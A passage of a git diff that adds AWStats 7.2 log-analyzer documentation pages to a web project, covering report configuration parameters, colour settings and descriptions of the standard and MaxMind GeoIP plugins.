Default: HBL, Possible column codes: HBL +<br>ShowRobotsStats=HBL +<br> +<br># Show worms chart +<br># Context: Web, Streaming +<br># Default: 0 (If set to other than 0, see also LevelForWormsDetection), Possible column codes: HBL +<br>ShowWormsStats=0 +<br> +<br># Show email senders chart (For use when analyzing mail log files) +<br># Context: Mail +<br># Default: 0, Possible column codes: HBML +<br>ShowEMailSenders=0 +<br> +<br># Show email receivers chart (For use when analyzing mail log files) +<br># Context: Mail +<br># Default: 0, Possible column codes: HBML +<br>ShowEMailReceivers=0 +<br> +<br># Show session chart +<br># Context: Web, Streaming, Ftp +<br># Default: 1, Possible column codes: None +<br>ShowSessionsStats=1 +<br> +<br># Show pages-url chart. +<br># Context: Web, Streaming, Ftp +<br># Default: PBEX, Possible column codes: PBEX +<br>ShowPagesStats=PBEX +<br> +<br># Show file types chart. +<br># Context: Web, Streaming, Ftp +<br># Default: HB, Possible column codes: HBC +<br>ShowFileTypesStats=HB +<br> +<br># Show file size chart (Not yet available) +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: 1, Possible column codes: None +<br>ShowFileSizesStats=0 +<br><br># Show downloads chart.<br># Context: Web, Streaming, Ftp<br># Default: HB, Possible column codes: HB<br>ShowDownloadsStats=HB <br> +<br># Show operating systems chart +<br># Context: Web, Streaming, Ftp +<br># Default: 1, Possible column codes: None +<br>ShowOSStats=1 +<br> +<br># Show browsers chart +<br># Context: Web, Streaming +<br># Default: 1, Possible column codes: None +<br>ShowBrowsersStats=1 +<br> +<br># Show screen size chart +<br># Context: Web, Streaming +<br># Default: 0 (If set to 1, see also MiscTrackerUrl), Possible column codes: None +<br>ShowScreenSizeStats=0 +<br> +<br># Show origin chart +<br># Context: Web, Streaming +<br># Default: PH, Possible column codes: PH +<br>ShowOriginStats=PH +<br> +<br># Show keyphrases chart +<br># Context: Web, Streaming +<br># Default: 1, Possible column codes: None +<br>ShowKeyphrasesStats=1 +<br> +<br># Show keywords chart +<br># Context: Web, Streaming +<br># Default: 1, Possible column codes: None +<br>ShowKeywordsStats=1 +<br> +<br># Show misc chart +<br># Context: Web, Streaming +<br># Default: a (See also MiscTrackerUrl parameter), Possible column codes: anjdfrqwp +<br>ShowMiscStats=a +<br> +<br># Show http errors chart +<br># Context: Web, Streaming +<br># Default: 1, Possible column codes: None +<br>ShowHTTPErrorsStats=1 +<br> +<br># Show smtp errors chart (For use when analyzing mail log files) +<br># Context: Mail +<br># Default: 0, Possible column codes: None +<br>ShowSMTPErrorsStats=0 +<br> +<br># Show the cluster report (Your LogFormat must contains the %cluster tag) +<br># Context: Web, Streaming, Ftp +<br># Default: 0, Possible column codes: PHB +<br>ShowClusterStats=0 + +<br><br><hr> + +<a name="AddDataArray"><b>AddDataArray...</b></a><br> +<b>Version : </b><br> +5.4+ for AddDataArrayMonthStats,AddDataArrayShowDaysOfWeekStats,AddDataArrayShowHoursStats<br> +5.5+ for AddDataArrayShowDaysOfMonthStats<br> +<br># Some graphical reports are followed by the data array of values. +<br># If you don't want this array (to reduce report size for example), you can +<br># set thoose options to 0. +<br># Possible values: 0 or 1 +<br># Default: 1 +<br># +<br># Data array values for the ShowMonthStats report +<br>AddDataArrayMonthStats=1 +<br># Data array values for the ShowDaysOfMonthStats report +<br>AddDataArrayShowDaysOfMonthStats=1 +<br># Data array values for the ShowDaysOfWeekStats report +<br>AddDataArrayShowDaysOfWeekStats=1 +<br># Data array values for the ShowHoursStats report +<br>AddDataArrayShowHoursStats=1 + +<br><br><hr> + +<a name="IncludeInternalLinksInOriginSection"><b>IncludeInternalLinksInOriginSection</b></a><br> +<b>Version : </b>6.1+<br> +<br># In the Origin chart, you have stats on where your hits came from. You can +<br># includes hits on pages that comes from pages of same sites in this chart. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>IncludeInternalLinksInOriginSection=0 + +<br><br><hr> + +<a name="Max"><b>Max...</b></a><br> +<b>Version : </b>1.0+<br> +<br># This value can be used to choose maximum number of lines shown for each +<br># particular reporting. +<br># +<br># Stats by domains +<br>MaxNbOfDomain = 10 +<br>MinHitDomain = 1 +<br># Stats by hosts +<br>MaxNbOfHostsShown = 10 +<br>MinHitHost = 1 +<br># Stats by authenticated users +<br>MaxNbOfLoginShown = 10 +<br>MinHitLogin = 1 +<br># Stats by robots +<br>MaxNbOfRobotShown = 10 +<br>MinHitRobot = 1 +<br># Stats for Downloads<br>MaxNbOfDownloadsShown = 10<br>MinHitDownloads = 1<br># Stats by pages +<br>MaxNbOfPageShown = 10 +<br>MinHitFile = 1 +<br># Stats by OS +<br>MaxNbOfOsShown = 10 +<br>MinHitOs = 1 +<br># Stats by browsers +<br>MaxNbOfBrowsersShown = 10 +<br>MinHitBrowser = 1 +<br># Stats by screen size +<br>MaxNbOfScreenSizesShown = 5 +<br>MinHitScreenSize = 1 +<br># Stats by referers +<br>MaxNbOfRefererShown = 10 +<br>MinHitRefer = 1 +<br># Stats for keywords +<br>MaxNbOfKeywordsShown = 10 +<br>MinHitKeyword = 1 +<br># Stats for sender or receiver emails +<br>MaxNbOfEMailsShown = 20 +<br>MinHitEMail = 1 + +<br><br><hr> + +<a name="FirstDayOfWeek"><b>FirstDayOfWeek</b></a><br> +<b>Version : </b>3.2+<br> +<br># Choose if you want week to start on sunday or monday +<br># Possible values: +<br># 0 - Week start on sunday +<br># 1 - Week start on monday +<br># Default: 1 +<br># +<br>FirstDayOfWeek=1 + +<br><br><hr> + +<a name="ShowFlagLinks"><b>ShowFlagLinks</b></a><br> +<b>Version : </b>3.2+<br> +<br># List of visible flags with link to other language translations. +<br># See Lang parameter for list of allowed flag/language codes. +<br># If you don't want any flag link, set ShowFlagLinks to "". +<br># This parameter is used only if ShowMenu parameter is set to 1. +<br># Possible values: "" or "language_codes_separated_by_space" +<br># Default: "en es fr it nl es" +<br># +<br>ShowFlagLinks="en fr de it nl es" + +<br><br><hr> + +<a name="ShowLinksOnUrl"><b>ShowLinksOnUrl</b></a><br> +<b>Version : </b>3.1+<br> +<br># Each URL shown in stats report views are links you can click. +<br># Possible values: 0 or 1 +<br># Default: 1 +<br># +<br>ShowLinksOnUrl=1 + +<br><br><hr> + +<a name="UseHTTPSLinkForUrl"><b>UseHTTPSLinkForUrl</b></a><br> +<b>Version : </b>4.0+<br> +<br># When AWStats build HTML links in its report pages, it starts thoose link +<br># with "http://". However some links might be HTTPS links, so you can enter +<br># here the root of all your HTTPS links. If all your site is a SSL web site, +<br># just enter "/". +<br># This parameter is not used if ShowLinksOnUrl is 0. +<br># Example: "/shopping" +<br># Example: "/" +<br># Default: "" +<br># +<br>UseHTTPSLinkForUrl="" + +<br><br><hr> + +<a name="MaxLengthOfShownURL"><b>MaxLengthOfShownURL</b></a><br> +<b>Version : </b>1.0+<br> +<br># Maximum length of URL part shown on stats page (number of characters). +<br># This affects only URL visible text, larger links still work. +<br># Default: 64 +<br># +<br>MaxLengthOfShownURL=64 + +<br><br><hr> + +<a name="ShowLinksToWhoIs"><b>ShowLinksToWhoIs</b></a><br> +<font color="#808080"> +<b>Version : </b>4.0 - 5.6 (deprecated since 5.7, replaced by plugin 'hostinfo')<br> +This parameter has been removed since 5.7.<br> +You must enable the plugin 'hostinfo' to get the same result if you were using this +parameter. +</font> + +<br><br><hr> + +<a name="LinksToWhoIs"><b>LinksToWhoIs</b></a><br> +<font color="#808080"> +<b>Version : </b>4.0 - 5.9 (deprecated since 6.0, replaced by plugin 'hostinfo')<br> +This parameter has been removed since 6.0.<br> +This parameter is no more required. +</font> + +<br><br><hr> + +<a name="LinksToIPWhoIs"><b>LinksToIPWhoIs</b></a><br> +<font color="#808080"> +<b>Version : </b>5.0 - 5.9 (deprecated since 6.0, replaced by plugin 'hostinfo')<br> +This parameter has been removed since 6.0.<br> +This parameter is no more required. +</font> + +<br><br><hr> + +<a name="HTMLHeadSection"><b>HTMLHeadSection</b></a><br> +<b>Version : </b>3.2+<br> +<br># You can enter HTML code that will be added at the top of AWStats reports. +<br># Default: "" +<br># +<br>HTMLHeadSection="" + +<br><br><hr> + +<a name="HTMLEndSection"><b>HTMLEndSection</b></a><br> +<b>Version : </b>3.2+<br> +<br># You can enter HTML code that will be added at the end of AWStats reports. +<br># Great to add advert ban. +<br># Default: "" +<br># +<br>HTMLEndSection="" + +<br><br><hr> + +<a name="Bar"><b>Bar...</b></a><br> +<b>Version : </b>1.0+<br> +<br># Value of maximum bar width/height for horizontal/vertical HTML graphics bar. +<br># Default: 260/90 +<br># +<br>BarWidth = 260 +<br>BarHeight = 90 + +<br><br><hr> + +<a name="Logo"><b>Logo...</b></a><br> +<b>Version : </b>3.1+<br> +<br># You can set Logo and LogoLink to use your own logo. +<br># Logo must be the name of image file (must be in $DirIcons/other directory). +<br># LogoLink is the expected URL when clicking on Logo. +<br># Default: "awstats_logo1.png" +<br># +<br>Logo="awstats_logo1.png" +<br>LogoLink="http://www.awstats.org" + +<br><br><hr> + +<a name="StyleSheet"><b>StyleSheet</b></a><br> +<b>Version : </b>5.6+<br> +<br># You can ask AWStats to use a particular CSS (Cascading Style Sheet) to +<br># change its look. To create a style sheet, you can use samples provided with +<br># AWStats in wwwroot/css directory. +<br># Example: "/awstatscss/awstats_bw.css" +<br># Example: "/css/awstats_bw.css" +<br># Default: "" +<br># +<br>StyleSheet="" + +<br><br><hr> + +<a name="color_"><b>color_...</b></a><br> +<b>Version : </b><br> +3.1 for color_Background,color_TableBGTitle,color_TableTitle,color_TableBG, +color_TableRowTitle,color_TableBGRowTitle,color_TableBorder,color_text, +color_textpercent,color_titletext,color_weekend,color_link,color_hover, +color_u,color_v,color_p,color_h,color_k,color_s<br> +4.1 for color_e,color_x<br> +5.0 for color_other<br> +<br># Those colors parameters can be used (if StyleSheet parameter is not used) +<br># to change AWStats look. +<br># Example: color_name="RRGGBB" # RRGGBB is Red Green Blue components in Hex +<br># +<br>color_Background="FFFFFF" # Background color for main page (Default = "FFFFFF") +<br>color_TableBGTitle="CCCCDD" # Background color for table title (Default = "CCCCDD") +<br>color_TableTitle="000000" # Table title font color (Default = "000000") +<br>color_TableBG="CCCCDD" # Background color for table (Default = "CCCCDD") +<br>color_TableRowTitle="FFFFFF" # Table row title font color (Default = "FFFFFF") +<br>color_TableBGRowTitle="ECECEC" # Background color for row title (Default = "ECECEC") +<br>color_TableBorder="ECECEC" # Table border color (Default = "ECECEC") +<br>color_text="000000" # Color of text (Default = "000000") +<br>color_textpercent="606060" # Color of text for percent values (Default = "606060") +<br>color_titletext="000000" # Color of text title within colored Title Rows (Default = "000000") +<br>color_weekend="EAEAEA" # Color for week-end days (Default = "EAEAEA") +<br>color_link="0011BB" # Color of HTML links (Default = "0011BB") +<br>color_hover="605040" # Color of HTML on-mouseover links (Default = "605040") +<br>color_other="666688" # Color of text for 'other' record in charts (Default = "666688") +<br>color_u="FFB055" # Background color for number of unique visitors (Default = "FFB055") +<br>color_v="F8E880" # Background color for number of visites (Default = "F8E880") +<br>color_p="4477DD" # Background color for number of pages (Default = "4477DD") +<br>color_h="66F0FF" # Background color for number of hits (Default = "66F0FF") +<br>color_k="2EA495" # Background color for number of bytes (Default = "2EA495") +<br>color_s="8888DD" # Background color for number of search (Default = "8888DD") +<br>color_e="CEC2E8" # Background color for number of entry pages (Default = "CEC2E8") +<br>color_x="C1B2E2" # Background color for number of exit pages (Default = "C1B2E2") + +<br><br><hr> + +<a name="LoadPlugin"><b>LoadPlugin</b></a><br> +<b>Version : </b>5.0+<br> +<br># Add here all plugins file you want to load. +<br># Plugin files must be .pm files stored in 'plugins' directory. +<br># Uncomment LoadPlugin lines to enable a plugin after checking that plugin +<br># required perl modules are installed. +<br> +<br># Plugin: PluginName +<br># PluginName description +<br># Perl modules required: ... +<br># +<br>LoadPlugin="pluginname" + +<br><br><hr> + +<a name="Extra"><b>Extra...</b></a><br> +<b>Version : </b><br> +5.2+<br> +5.8 for ExtraSectionFirstColumnFormatX, ExtraSectionAddAverageRowX, ExtraSectionAddSumRowX<br> +<br>You can see the <a href="awstats_extra.html">following page</a> for explanation of +all ExtraSection...X directives and how to use them. + +<br><br><hr> + +<a name="ExtraTrackedRowsLimit"><b>ExtraTrackedRowsLimit</b></a><br> +<b>Version : </b>6.1<br> +<br># There is also a global parameter ExtraTrackedRowsLimit that limit the +<br># number of possible rows an ExtraSection can report. This parameter is +<br># here to protect too much memory use when you make a bad setup in your +<br># ExtraSection. It applies to all ExtraSection independently meaning that +<br># none ExtraSection can report more rows than value defined by ExtraTrackedRowsLimit. +<br># If you know an ExtraSection will report more rows than its value, you should +<br># increase this parameter or AWStats will stop with an error. +<br># Example: 2000 +<br># Default: 500 +<br># +<br>ExtraTrackedRowsLimit=500 + +<br><br><hr> + +<a name="Include"><b>Include</b></a><br> +<b>Version : </b>5.4+<br> +<br># You can include other config files using the directive with the name of the +<br># config file. +<br># This is particularly usefull for users who have a lot of virtual servers, so +<br># a lot of config files and want to maintain common values in only one file. +<br># Note that when a variable is defined both in a config file and in an +<br># included file, AWStats will use the last value read for parameters that +<br># contains one value and AWStats will concat all values from both files for +<br># parameters that are lists of value. +<br># +<br>Include "" + + +<!-- -------------------------------------------------------------------------------------- --> + +<br><br><hr> + +<script language="javascript"> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body></html> diff --git a/src/main/webapp/monitoramento/docs/awstats_contrib.html b/src/main/webapp/monitoramento/docs/awstats_contrib.html new file mode 100644 index 0000000..4454735 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_contrib.html @@ -0,0 +1,454 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Contrib and resource page"> +<meta name="keywords" content="awstats, awstat, log, file, analyzer, contrib, plugins, resources, maxmind, geoipfree, geoip, cities, regions, countries, frontend"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Contrib and resource page"> + +<title>AWStats Documentation - Contrib and resource page</title><link rel="stylesheet" href="styles.css" type="text/css"><!-- $Revision: 1.41 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --></head> +<body topmargin="10" leftmargin="5"> + + +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> + +<!-- Large --> +<tbody><tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo1.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> + +</tbody></table> + + +<br><br><h1 style="font-family: arial,helvetica,sanserif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Plugins, contribs and related programs</h1> + +You will find here description for different kinds of ressource files :<br> +- <a href="#PLUGINS">AWStats plugins</a><br> +- <a href="#CONTRIB">Other AWStats contribs/tools/package</a><br> +- <a href="#RELATED">Other Non AWStats contribs/tools (not related to AWStats but related to log analysis)</a><br> +- <a href="#DOC">Documents on AWStats or related to log analysis</a><br> +<br> + + +<br><a name="PLUGINS"></a><br> +<font color="#665544" size="3"><b>AWStats plugins</b></font><br> +<hr> +Plugins are .pm files you can put in your AWStats plugins directory to add new features.<br> +Note that you must enable the plugin by adding a new line in your config files to make +it works (See <a href="awstats_config.html#LoadPlugin">LoadPlugin</a> parameter).<br> +<br> + +<a href="#plugin_standards">Standard free plugins</a> : <b>tooltips, decodeutfkeys, ipv6, hashfiles, userinfo, hostinfo, clusterinfo, urlalias, timehires, timezone, rawlog, +graphapplet, graphgooglechartsapi </b><b>geoipfree</b><br> +<a href="#plugin_others">GeoIP Plugins</a> (may require other licensed product to work) : +<b>geoip,</b><b> geoip_city_maxmind, geoip_asn_maxmind, </b><b>geoip_region_maxmind</b>, +<b>geoip_isp_maxmind</b>, +<b>geoip_org_maxmind</b>, +<br> +<br> + +<br><a name="plugin_standards"><b>List of standard plugins</b></a> (Provided with AWStats) : +<br> + +<br><span style="font-weight: bold;">Tooltips +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description</span>: Add tooltips pop-up help boxes to HTML report pages. + <br>Provided with AWStats (5.4+). + +<br> + +<br><span style="font-weight: bold;">DecodeUTFKeys +</span><br><span style="font-style: italic;">Required Modules:</span> Encode and URI::Escape +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Allow AWStats to show correctly (in language charset) keywords/keyphrases +strings even if they were UTF8 coded by the referer search engine. +<br>Plugin provided with AWStats (6.0+). + +<br> + +<br><span style="font-weight: bold;">IPv6 +</span><br><span style="font-style: italic;">Required Modules: </span>Net::IP and Net::DNS +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> This plugin gives AWStats capability to make reverse DNS lookup on IPv6 addresses. +<br>Note: IPv6 addresses are currently incompatible with the GeoIP databases<br>Plugin provided with AWStats (5.5+) + +<br> + +<br><span style="font-weight: bold;">HashFiles +</span><br><span style="font-style: italic;">Required Modules:</span> Storable +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> AWStats DNS cache files are read/saved as native hash files. This improves +cache file loading speed, especially for very large web sites. + +<br>Plugin provided with AWStats (5.1+) + +<br><br><span style="font-weight: bold;">UserInfo +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description: </span> Add text (Firtname, Lastname, Office Department, ...) to authenticated user reports for each login value. +A text file called userinfo.myconfig.txt, with two fields (first is login, +second is text to show, separated by a tab char) must be created in DirData directory. + +<br>Plugin provided with AWStats (5.5+) + +<br> + +<br><span style="font-weight: bold;">ClusterInfo +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> +Add text (for example a full hostname) to cluster reports for each +cluster +number. A text file called clusterinfo.myconfig.txt, with two +fields (first is cluster number, second is text to show) separated +by a tab character must be created in DirData directory. <br>Note: This plugin is useless if ShowClusterStats is set to 0 or if you don't use a personalized log format that contains <span style="font-style: italic;">%cluster</span> tag. + +<br>Plugin provided with AWStats (6.2+) + +<br> + +<br><span style="font-weight: bold;">HostInfo +</span><br><span style="font-style: italic;">Required Modules:</span> Net::XWhois +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Add a column into host chart with a link to open a popup window that shows info on host (like whois records). + +<br>Plugin provided with AWStats (6.0+) + +<br> + +<br><span style="font-weight: bold;">UrlAliases +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Add text +(Page title, description...) to URL reports before URL value. A +text file called urlalias.myconfig.txt, with two fields (first is +URL, second is text to show, separated by a tab char) must be +created in DirData directory. +<br>You can build your urlalias file manually or use <a href="awstats_tools.html#urlaliasbuilder">urlaliasbuilder.pl</a> tool (provided with 5.4+) + +<br>Plugin provided with AWStats (5.2+) +<br> + +<br><span style="font-weight: bold;">TimeHiRes +</span><br><span style="font-style: italic;">Required Modules:</span> Time::HiRes +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Time reported by -showsteps option is in millisecond. For debug purpose. + +<br>Plugin provided with AWStats (5.1+) + +<br> + +<br><span style="font-weight: bold;">TimeZone +</span><br><span style="font-style: italic;">Required Modules:</span> Time::Local +<br><span style="font-style: italic;">Parameters:</span> <offset or local timezone><br><span style="font-style: italic;">Description:</span> +Converts the timezone of log files before processing using the offset +provided in the parameters. This is useful for some IIS users if logs +are stored in GMT or for users who have servers in a different +timezone. You must provide either the abreviated name of the timezone +you wish to convert to or the offset value in hours. For example<br><span style="font-style: italic;">LoadPlugin="timezone +2"</span> would add two hours to the log timestamps<br><span style="font-style: italic;">LoadPlugin="timezone CET"</span> would convert the log from GMT to CET<br>Note: This plugin reduces AWStats speed by about 40%!<br>Plugin provided with AWStats (5.1+) + +<br> + +<br><span style="font-weight: bold;">Rawlog +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description: </span>This +plugin adds a form in AWStats main page to allow users to see +raw content of current log files. A display filter will also be +displayed. +<br>Plugin provided with AWStats (5.7+) + +<br> + +<br><span style="font-weight: bold;">GraphApplet +</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Supported charts are built by a 3D graphic applet. +<br>LoadPlugin="graphapplet" # EXPERIMENTAL FEATURE + +<br>Plugin provided with AWStats (6.0+) + +<br><br><span style="font-weight: bold;">GraphGoogleChartAPI</span><br><span style="font-style: italic;">Required Modules:</span> None +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> +Replaces the standard charts with free Google API generated images in +HTML reports. If country data is available and more than one country +has hits, a map will be generated using Google Visualizations.<br>Note: +The machine where reports are displayed must have Internet access for +the charts to be generated. The only data sent to Google includes the +statistic numbers, legend names and country names. <br>Plugin provided with AWStats (6.0+) + +<br><br><span style="font-weight: bold;">GeoIPfree +</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IPfree version 0.2+ (from Graciliano M.P.) +<br><span style="font-style: italic;">Parameters:</span> None<br><span style="font-style: italic;">Description:</span> Country +chart is built from an Internet IP-Country database. This plugin +is useless for intranet only log files. <br>Note: You must +choose between using this plugin (need Perl Geo::IPfree module, +database is free but not up to date) or the GeoIP plugin +(need Perl Geo::IP module from Maxmind, database is also free and +up to date). <br>Note: Activestate provide a corrupted version of Geo::IPfree 0.2 Perl module, so install it from elsewhere (from <a href="http://www.cpan.org/">www.cpan.org</a> for example). +<br>This plugin reduces AWStats speed by about 10% ! +<br>Plugin provided with AWStats (5.5+). +<br>You can find Geo::IPfree Perl Module on : +<br>- All OS: <a href="http://www.cpan.org/">CPAN site</a> +<br>- RPM compatible OS (RedHat, Mandrake...): <a href="http://www.lafraia.com/RPM/">Lafraia rpm</a> +<br>- ActiveState: GeoIPfree module provided by Activestate is not working correctly so I removed +the link. You can follow the following setup instead: Download from <a href="http://www.cpan.org/">CPAN site</a> +and copy 'Geo' directory (found in 'lib') into AWStats plugins directory. +This is a fast tip to install Geo-IPfree perl module to be used by AWStats geoipfree plugin. +<br>Note: The Geo::IPfree database has not been updated in a long time, so using +the <a href="awstats_contrib.html#geoip">geoip</a> plugin (using the Geo::IP Perl module, now free for countries) is highly recommended. +<br>You can use the following tool to test your geoipfree setup: <a href="file:///files/testgeoipfree.pl">testgeoipfree.pl</a>. Just +put this file into your plugins directory and run it. + +<br><br> + +<a name="geoip"> </a> +<br><span style="font-weight: bold;">Maxmind GeoIP Plugin Notes</span><br>Maxmind +is a company that sells geolocation technology that matches IP +addresses to countries, regions, cities and ISPs. All of their databses +are available for an initial fee and a monthly update subscription and +include greater accuracy and a higher frequency of updating. Some +databases are available for free but they are not updated as often and +may not be as accurate.<br><br><span style="text-decoration: underline;">Install:</span><br>First choose a database. When downloading a database for AWStats, please download the <span style="font-style: italic;">Binary Format</span> version. Current databases AWStats supports are:<br><span style="font-style: italic;"><br>Commercial</span>: <a href="http://www.maxmind.com/app/country?rId=awstats">Country</a>, <a href="http://www.maxmind.com/app/region?rId=awstats">Region</a>, <a href="http://www.maxmind.com/app/city?rId=awstats">City</a>, <a href="http://www.maxmind.com/app/organization?rId=awstats">Organization</a>, <a href="http://www.maxmind.com/app/isp?rId=awstats">ISP</a><br><span style="font-style: italic;">Open Source</span> <a href="http://www.maxmind.com/app/geolitecountry?rId=awstats">Country</a>, <a href="http://www.maxmind.com/app/geolitecity?rId=awstats">City</a>, <a href="http://www.maxmind.com/app/asnum?rId=awstats">ASN</a><br><br>If you choose to purchase a commercial database for country +information, you only need to purchase the one with the greatest level +of detail you want to appear in your report. For example, if you only +want country information, you can purchase just the Country database. +If you want City detail, you do <span style="font-style: italic;">not</span> +need to purcahse the Country and Region databases, just the City +database. (Organization and ISP databases do not include country or +region info so you must purchase those in addition to Country, Region +or City if you desire more information)<br><br>Next, install the +Geo::IP Perl module. Then choose a Maxmind API to access the databse. +Maxmind also has two Perl API's available for interacting with their +databases. There is a a C/Perl library that will run quickly and +there is a pure Perl API that is a little slower but does not require +any C depdencies. Choose <a href="http://www.maxmind.com/en/city?rId=awstats">one of the API</a>s and install it on your machine.<br><br><span style="font-style: italic;">Parameters</span>: +Each GeoIP database can be loaded entirely into memory or lookups can +scan through the file. When editing your AWStats configuration, you +have to specify if you want to use memory or file lookups. Specify +GEOIP_STANDARD for file lookups or GEOIP_MEMORY_CACHE for memory +loading. Please note that the memory method may crash on some Linux +distributions so if that happens, try the standard method. Also, using +the C API with Activestate Perl may crash on Windows machines, so use +the PurePerl module instead.<br><br>You may also override some +databases by generating a comma seperated text file with IP addresses +and associated data. This is useful if you are reporting on an Intranet +site, have a mixture of internal and external users or the data for a +specific IP is incorrect in the database. You can use the included +geoip_generator tool to create override files. (Overrides only available in AWStats version 6.96 and later)<br><b>Override Formats:</b><br><i>GeoIP</i> + - ip_address,"countrycode"<br><i>GeoIP City</i> - +ip_address,"countrycode","regioncode","cityname","postalcode",latitude,longitude,"metrocode","areacode"<br><i>GeoIP + ASN</i> - ip_address,"asn ispname"<br><i>GeoIP Region - </i>ip_address,"countrycode","regioncode"<br><i>GeoIP + Org</i> - ip_address,"organisation"<i><br></i><i>GeoIP ISP</i> - +ip_address,"ISP"<br><br>Note: AWStats +does not currently support IPv6 for GeoIP lookups as Maxmind only +offers the country DB with IPv6 at this time. As Maxmind includes IPv6 +support in more DBs, we will update AWStats.<br>Enabling GeoIP plugins +will reduce the speed of AWStats processing.<br><br><span style="font-weight: bold;">GeoIP +</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/geoip.dat] </pathto/override.txt><br><span style="font-style: italic;">Description:</span> Country chart is built from an Internet IP-Country database. +<br>Note: You must choose between using this plugin or the +GeoIPfree plugin (need Perl Geo::IPfree module, database is free +but not up to date). +<br>Example <span style="font-style: italic;">LoadPlugin="geoip GEOIP_STANDARD /usr/local/geoip.dat /usr/local/geoip_override.txt" + +</span><br>Plugin provided with AWStats (5.2+) + +<br><br><span style="font-weight: bold;">GeoIP_City_Maxmind +</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPCity.dat] </pathto/override.txt><br><span style="font-style: italic;">Description: </span>This plugin adds a chart of hits by cities (with country and regions informations for major countries). +<br> +By enabling this plugin, you will see a new link called 'Cities' on +reports menu.<br>Example <span style="font-style: italic;">LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /usr/local/geoip.dat /usr/local/GeoIPCity_override.txt" + +</span><br>Plugin provided with AWStats (6.2+) + +<br><br><span style="font-weight: bold;">GeoIP_ASN_Maxmind</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPASN.dat] </pathto/override.txt> <link to AS lookup><br><span style="font-style: italic;">Description: </span>This +plugin adds a chart of AS numbers where the host IP address is +registered. This plugin can display some ISP information if included in +the database. You can also provide a link that will be used to lookup +additional registration data. Put the link at the end of the parameter +string and the report page will include the link with the full AS +number at the end.<br>Example <span style="font-style: italic;">LoadPlugin="geoip_asn_maxmind +GEOIP_STANDARD /usr/local/geoip.dat /usr/local/GeoIPASN_override.txt +http://enc.com.au/itools/aut-num.php?autnum=" +</span><br>Plugin provided with AWStats (6.9+) + +<br><br><span style="font-weight: bold;">GeoIP_Region_Maxmind +(Commercial Only)</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPRegion.dat] </pathto/override.txt><br><span style="font-style: italic;">Description: </span>This plugin adds a chart of hits by regions. Only regions for US and Canada can be detected at this time. +<br>By enabling this plugin, you will see a new link called 'Regions' on reports menu. For +the moment this link works only when AWStats reports are build as CGI (static built not yet +supported). +<br>Example <span style="font-style: italic;">LoadPlugin="geoip_region_maxmind GEOIP_STANDARD /usr/local/GeoIPRegion.dat /usr/local/geoip_override.txt" + +</span><br>Plugin provided with AWStats (6.2+) + +<br><br><span style="font-weight: bold;">GeoIP_ISP_Maxmind +(Commercial Only)</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPISP.dat] </pathto/override.txt><br><span style="font-style: italic;">Description:</span> This plugin adds a chart of hits by ISP. +<br>By enabling 